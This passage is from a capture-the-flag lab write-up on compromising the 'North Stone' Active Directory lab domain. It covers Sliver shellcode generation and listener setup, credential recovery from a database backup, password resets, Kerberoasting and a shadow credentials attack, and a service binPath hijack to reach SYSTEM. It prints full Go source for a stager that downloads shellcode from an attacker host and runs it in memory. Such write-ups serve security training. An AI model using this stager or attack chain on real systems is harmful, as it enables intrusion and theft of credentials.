<figure><img src="/files/8rkHXTSleIl6ay88KNGj" alt=""><figcaption></figcaption></figure>

**Generate shell code**

Next, we need to generate the Sliver shell code.&#x20;

{% hint style="info" %}
During generation without the `-G` tag, which disables the encoder, no shellcode could be successfully generated. The resulting shellcode was always empty. This may be related to the underlying architecture on which I am operating, namely ARM:

<https://github.com/BishopFox/sliver/issues/1114>
{% endhint %}

We do this as follows:

{% code overflow="wrap" expandable="true" %}

```
sliver-server 
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
generate --mtls 10.200.65.42:443 --os windows --arch amd64 --format shellcode -G --save /workspace/hacksmarter/north-stone/shellc.bin
```

{% endcode %}

<figure><img src="/files/ki2ISo7tlA5xNLGInitN" alt=""><figcaption></figcaption></figure>

#### Execution <a href="#execution" id="execution"></a>

We run a web server from which the stager and the shellcode can be fetched.

{% code overflow="wrap" expandable="true" %}

```
sudo python -m http.server 80
```

{% endcode %}

**Setup listener**

We set up the listener in Sliver as follows:

{% code overflow="wrap" expandable="true" %}

```
 mtls --lhost 10.200.65.42 --lport 443
```

{% endcode %}

<figure><img src="/files/sZhdnRR8kaNVmmdEwxiS" alt=""><figcaption></figcaption></figure>

Next, we place our malicious DLL into the modules folder and wait.

<figure><img src="/files/HBCei04cz827F6Y3HmiU" alt=""><figcaption></figcaption></figure>

Our stager gets feteched and executed which then fetches and executes our generate shell code.

<figure><img src="/files/EVCJ2CR0DBjJDXgSVjob" alt=""><figcaption></figcaption></figure>

After a short duration we retrive a session. We can interact with it via `sessions -i ...`.

We are `c.white`.

{% code overflow="wrap" expandable="true" %}

```
sessions -i <SESSION ID>
```

{% endcode %}

<figure><img src="/files/4DG0DENNCtrRe99urL1G" alt=""><figcaption></figcaption></figure>

We do find the users flag at the Desktop of `c.white`.

{% code overflow="wrap" expandable="true" %}

```
ls C:/Users/c.white/desktop
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
cat C:/Users/c.white/desktop/user.txt
```

{% endcode %}

<figure><img src="/files/3XTpIIaLjKDfqPorCnBQ" alt=""><figcaption></figcaption></figure>

## Access as k.bennet

Now that we have compromised the user `c.white` we'll take a look at the group memberships and outbound object control of the user. We see that the user is memebr of the `database backup operators`.

<figure><img src="/files/NNIvtKyimLJ8gQ89P8H6" alt=""><figcaption></figcaption></figure>

We recall the empty `auth_test_users` table of the NorthstoneDB. Maybe we can restore the users here.

<figure><img src="/files/AzHnKjcllpsVFM6wAkEe" alt=""><figcaption></figcaption></figure>

On the root folder we find a BackupDB folder containing a backup file and a note.

{% code overflow="wrap" expandable="true" %}

```
download C:/BackupDB/NorthStoneDB.bak
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
download C:/BackupDB/NorthStoneDB_Notes.txt
```

{% endcode %}

<figure><img src="/files/6e0WkU06KPGHTKiUXsF9" alt=""><figcaption></figcaption></figure>

The note clearly states that the `auth_test_users` has been removed.

<figure><img src="/files/QknpoBmdfx6j6QQ1Fpol" alt=""><figcaption></figcaption></figure>

A way to read its content to restore it into a SQL Server instance.

{% code overflow="wrap" expandable="true" %}

```
file NorthStoneDB.bak
```

{% endcode %}

<figure><img src="/files/TaTxsY5FCqPZnImsNhdQ" alt=""><figcaption></figcaption></figure>

We create a docker container running MSSQL to restore the backup.

{% code overflow="wrap" expandable="true" %}

```
docker run -e 'ACCEPT_EULA=Y' -e 'MSSQL_SA_PASSWORD=Pwned123@!' -p 1433:1433 --name mssql -d mcr.microsoft.com/mssql/server:2022-latest
```

{% endcode %}

Next, create a backup directory inside the container

{% code overflow="wrap" expandable="true" %}

```
docker exec mssql mkdir -p /var/opt/mssql/backup
```

{% endcode %}

And copy the backup to the container.

{% code overflow="wrap" expandable="true" %}

```
docker cp .exegol/workspaces/0xb0b/hacksmarter/north-stone/NorthStoneDB.bak mssql:/var/opt/mssql/backup/
```

{% endcode %}

<figure><img src="/files/fz0qnEUpI8uvRXeiVIdy" alt=""><figcaption></figcaption></figure>

Next, we interact with the container...

{% code overflow="wrap" expandable="true" %}

```
docker exec -it mssql bash
```

{% endcode %}

<figure><img src="/files/H649K0oqhFOd6usfyKvG" alt=""><figcaption></figcaption></figure>

... and open an interactive `sqlcmd` shell connected to the local SQL Server instance as the `sa` user.

{% code overflow="wrap" expandable="true" %}

```
/opt/mssql-tools18/bin/sqlcmd -S localhost -U sa -P 'Pwned123@!' -C
```

{% endcode %}

<figure><img src="/files/2wr9TZleXs4rvAv6R2gH" alt=""><figcaption></figcaption></figure>

We restore the backup... but made a slight mistake and forgot to adjust the permission after copying the backup to the container.

{% code overflow="wrap" expandable="true" %}

```
RESTORE FILELISTONLY FROM DISK = '/var/opt/mssql/backup/NorthStoneDB.bak';
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GO
```

{% endcode %}

<figure><img src="/files/VTKiUZ9KMdS3e7nUfU48" alt=""><figcaption></figcaption></figure>

We adjust ownership and permission of the file.

{% code overflow="wrap" expandable="true" %}

```
docker exec -u root mssql chown mssql:mssql /var/opt/mssql/backup/NorthStoneDB.bak
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
docker exec -u root mssql chmod 644 /var/opt/mssql/backup/NorthStoneDB.bak
```

{% endcode %}

<figure><img src="/files/19TNMEOzmgBGRlWCv5Nx" alt=""><figcaption></figcaption></figure>

And retry. We are able to restore the backup and query the database.

{% code overflow="wrap" expandable="true" %}

```
docker exec -it mssql bash
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
/opt/mssql-tools18/bin/sqlcmd -S localhost -U sa -P 'Pwned123@!' -C
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
RESTORE FILELISTONLY FROM DISK = '/var/opt/mssql/backup/NorthStoneDB.bak';
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GO
```

{% endcode %}

<figure><img src="/files/SBPoxeS3tTlGlOrESMHi" alt=""><figcaption></figcaption></figure>

We restore the `NorthStoneDB` database from the `.bak` file using the `MOVE` clauses to map the backup's logical file names `NorthStoneDB` for the data file and `NorthStoneDB_log` for the transaction log to physical paths inside the container's data directory. which is necessary because the original paths baked into the backup likely Windows-style `C:\` paths won't exist on the Linux container, so we redirect them to `/var/opt/mssql/data/`.

{% code overflow="wrap" expandable="true" %}

```
RESTORE DATABASE NorthStoneDB FROM DISK = '/var/opt/mssql/backup/NorthStoneDB.bak' WITH MOVE 'NorthStoneDB' TO '/var/opt/mssql/data/NorthStoneDB.mdf', MOVE 'NorthStoneDB_log' TO '/var/opt/mssql/data/NorthStoneDB_log.ldf';
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GO
```

{% endcode %}

<figure><img src="/files/cknYH0TnG2r08t6R1eoD" alt=""><figcaption></figcaption></figure>

Now we can query for the databases.

{% code overflow="wrap" expandable="true" %}

```
SELECT name FROM sys.databases;
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GO
```

{% endcode %}

<figure><img src="/files/9Qb9GRSsmUpxHxL9xPSr" alt=""><figcaption></figcaption></figure>

We'll us the `NorthStoneDB`. And query for all entries of the `auth_test_users` table. We are able to retrive the credentials of three users.

{% code overflow="wrap" expandable="true" %}

```
USE NorthStoneDB
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GO
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
SELECT name FROM sys.tables ORDER BY name;
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GO
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
SELECT * FROM auth_test_users;
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GO
```

{% endcode %}

<figure><img src="/files/rKeDvw15qPkYPwjQdQEd" alt=""><figcaption></figcaption></figure>

We are able to authenticate as `k.bennett`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb northstone.local -u k.bennett -p 'REDACTED' --shares 
```

{% endcode %}

<figure><img src="/files/w0eL8fJPa4Tp61fxVxE9" alt=""><figcaption></figcaption></figure>

Furthermore we found the MSSQL credentials in the powershell history of the user `c.white`. Which would have allowed us to restore the backup from the target machine...

<figure><img src="/files/YieKFKmN6QabzE5pk3S8" alt=""><figcaption></figcaption></figure>

## Access as r.parker

As `k.bennett` we have the capability to change the password of three different users. This looks promising.

<figure><img src="/files/UFpPUUPZGCHkQmbQ5ErV" alt=""><figcaption></figcaption></figure>

We mark the user `k.bennett` as owned query for the shortest path from owned objects.

There we can see that we could potentially move latterally to `l.turner` via `r.parker`. The user `l.turner` is member of the `print services operators` and `remote management users` that looks like another high value target. From `r.parker` we only have `GenericWrite` permissions over `l.turner` which would allow us a targetedKerberoast or maybe a ShadowCredentials attack.

<figure><img src="/files/4GQ3NxXKVOoJa9v8C4WU" alt=""><figcaption></figcaption></figure>

We follow the depicted attack path by BloodHound and change the password of `r.parker`.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.northstone.local -d northstone.local -u k.bennett -p 'REDACTED' set password 'r.parker' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/jPPyQKoTScNyOJh8mkNj" alt=""><figcaption></figcaption></figure>

We have now access as `r.parker`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb northstone.local -u r.parker -p 'Pwned123@!' --shares 
```

{% endcode %}

<figure><img src="/files/XLL6BPKdAQGRHtOpLjH8" alt=""><figcaption></figcaption></figure>

## Shell as l.turner

Next, we preform a targetdKerberoast and without specifying a user we are able to retrieve the Kerberos 5, etype 23, TGS-REP blobs of three users.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/roasting/kerberoast#targeted-kerberoasting>" %}

{% code overflow="wrap" expandable="true" %}

```
targetedKerberoast.py -v -d 'northstone.local' -u 'r.parker' -p 'Pwned123@!' -o Kerberoastables.txt
```

{% endcode %}

<figure><img src="/files/MJOnYzgDXFgIBfeV8Vl7" alt=""><figcaption></figcaption></figure>

But they do not seem not crack.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m19700 Kerberoastables.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

Our last reort is a shadows credentials attack.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials#practice>" %}

To perform the Shadow Credentials Attack we are using Certipy.

In short: If we can write to the msDS-KeyCredentialLink property of a user, we can retrieve the NT hash of that user.

With the following command we issue the attack and are succesful. We retrieve the NT hash of `l.turner`.

{% code overflow="wrap" expandable="true" %}

```
certipy shadow auto -u 'r.parker' -p 'Pwned123@!' -account 'l.turner' -dc-ip 10.0.22.176
```

{% endcode %}

<figure><img src="/files/XnzTX9cRd0JMJRf7HV8i" alt=""><figcaption></figcaption></figure>

We are able to authenticate with the hash...

{% code overflow="wrap" expandable="true" %}

```
nxc smb northstone.local -u l.turner -H 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/3KctPKN4bIaKSBlKE7vj" alt=""><figcaption></figcaption></figure>

... and retrieve a remote management session using evil-winrm.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC.northstone.local -u l.turner -H 'REDACTED'
```

{% endcode %}

<figure><img src="/files/D1oNUF5vzlG9FXJj53Ip" alt=""><figcaption></figcaption></figure>

## Shell as NT AUTHORITY\SYSTEM

We recall the group membership of `l.turner`.

<figure><img src="/files/YH7CtglZSdrLM1LCYZhS" alt=""><figcaption></figcaption></figure>

Members of this group are responsible for managing printer-related operations. This includes access to printer service files, directories, and scheduled tasks used for maintenance and monitoring

We look for any print related service and actually find the PrintNotifyService.

{% code overflow="wrap" expandable="true" %}

```
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | Get-ItemProperty | Where-Object { $_.ImagePath -like "*print*" } | Select-Object PSChildName, DisplayName, ImagePath
```

{% endcode %}

<figure><img src="/files/rabu2QqNXLtLDaPzRPrS" alt=""><figcaption></figcaption></figure>

The idea is to replace the binPath pointing to the PrintNotifyService executable located at `C:\Program Files\PrintNotify\printer.exe` with our stagers location - we crafted formerly - and restart the service to establish a Sliver C2 session. For now we upload the stager.

{% code overflow="wrap" expandable="true" %}

```
upload stager.exe
```

{% endcode %}

<figure><img src="/files/VxgD3h6VoDpyf5YiZvez" alt=""><figcaption></figcaption></figure>

We are actually able to stop, start and configure the service. We change the binPath to our stagers location.

{% code overflow="wrap" expandable="true" %}

```
sc.exe stop PrintNotifyService
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sc.exe config PrintNotifyService binPath= 'C:\Users\l.turner\Documents\stager.exe'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sc.exe qc PrintNotifyService
```

{% endcode %}

<figure><img src="/files/M83z5VHGyPo2Ywb5jhwm" alt=""><figcaption></figcaption></figure>

After running the service we get an error message...

{% code overflow="wrap" expandable="true" %}

```
sc.exe start PrintNotifyService
```

{% endcode %}

<figure><img src="/files/swskj7WXaCUVw2GBNsUP" alt=""><figcaption></figcaption></figure>

... but also a short session that dies as NT AUTHORITY\SYSTEM.

{% code overflow="wrap" expandable="true" %}

```
sessions -i
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
whoami
```

{% endcode %}

<figure><img src="/files/38OdbqEFyHg206W70OL9" alt=""><figcaption></figcaption></figure>

This is due to the fact that our stager executable is not an actual service and does respond to start or control requests, it will receive a timeout and be terminated after running the shellcode. We face the same issue in the scenario Kiosk.&#x20;

We grab the service stager we build for the Kiosk lab:

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/kiosk#shell-as-dh_admin>" %}

{% code title="service-stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
package main

import (
	"golang.org/x/sys/windows/svc"
	"log"
	"io"
	"net/http"
	"syscall"
	"unsafe"
)	
var (
	kernel32            = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
)
		
const (	
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)
		
func downloadShellcode(url string) ([]byte, error) {
	resp, err := http.Get(url)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	return io.ReadAll(resp.Body)
}
		
func execute(data []byte) {
	go func() {
		defer func() { recover() }() // Catch panics
		
		addr, _, _ := procVirtualAlloc.Call(
			0,
			uintptr(len(data)),
			MEM_COMMIT|MEM_RESERVE,
			PAGE_EXECUTE_READWRITE,
		)
		if addr == 0 {
			return
		}
		
		for i := 0; i < len(data); i++ {
			*(*byte)(unsafe.Pointer(addr + uintptr(i))) = data[i]
		}
		
		syscall.Syscall(addr, 0, 0, 0, 0)
	}()
	
	// Returns immediately, execution happens in background
}

func main() {
	isService, err := svc.IsWindowsService()
	if err != nil {
		log.Fatal(err)
	}

	if isService {
		// Run as service with proper event handling
		url := "http://10.200.65.42/shellc.bin"
		shellcode, err := downloadShellcode(url)
		if err != nil {
			panic(err)
		}
		execute(shellcode)
		if err := svc.Run("MyService", handler{}); err != nil {
			log.Println("Service error:", err)
		}
		return
	}
	select {} // Keep running
	// Normal program execution
	run()
}

type handler struct{}

func (h handler) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) {
	changes <- svc.Status{State: svc.Running, Accepts: svc.AcceptStop}

	for {
		select {
		case c := <-r:
			switch c.Cmd {
			case svc.Stop, svc.Shutdown:
				changes <- svc.Status{State: svc.StopPending}
				return false, 0
			}
		}
	}
}

func run() {
}
```

{% endcode %}

Compile it...

{% code overflow="wrap" expandable="true" %}

```
go get golang.org/x/sys/windows/svc
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-X main.Version=1.0.0" -o stager.exe service-stager.go
```

{% endcode %}

<figure><img src="/files/3gFy530GnOTRU6wjqy0E" alt=""><figcaption></figcaption></figure>

...and repeat our steps. But first we sop our stager processes and remove the stager to avoid confusion.

{% code overflow="wrap" expandable="true" %}

```
Stop-Process -Name stager -Force
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
remove-item "C:/Users/l.turner/Documents/stager.exe"
```

{% endcode %}

We upload the new service stager, but rename it this time and configure the binPath again.

{% code overflow="wrap" expandable="true" %}

```
upload stager.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
copy stager.exe printer.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sc.exe config PrintNotifyService binPath= 'C:\Users\l.turner\Documents\printer.exe'
```

{% endcode %}

We start the service...

{% code overflow="wrap" expandable="true" %}

```
sc.exe start PrintNotifyService
```

{% endcode %}

<figure><img src="/files/qeKfuYsCIcEBf3dxxlSx" alt=""><figcaption></figcaption></figure>

... and receive a session. The service does not get terminated and we have a stable session. We are `NT AUTHORITY\SYSTEM` and are able to retrieve the root flag at `C:\Users\Administrator\desktop\root.txt`.

{% code overflow="wrap" expandable="true" %}

```
sessions -i <SESSION ID>
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
cat C:/Users/Administrator/desktop/root.txt
```

{% endcode %}

<figure><img src="/files/l1bkGuh8Rf1XD0Zu6J3b" alt=""><figcaption></figcaption></figure>
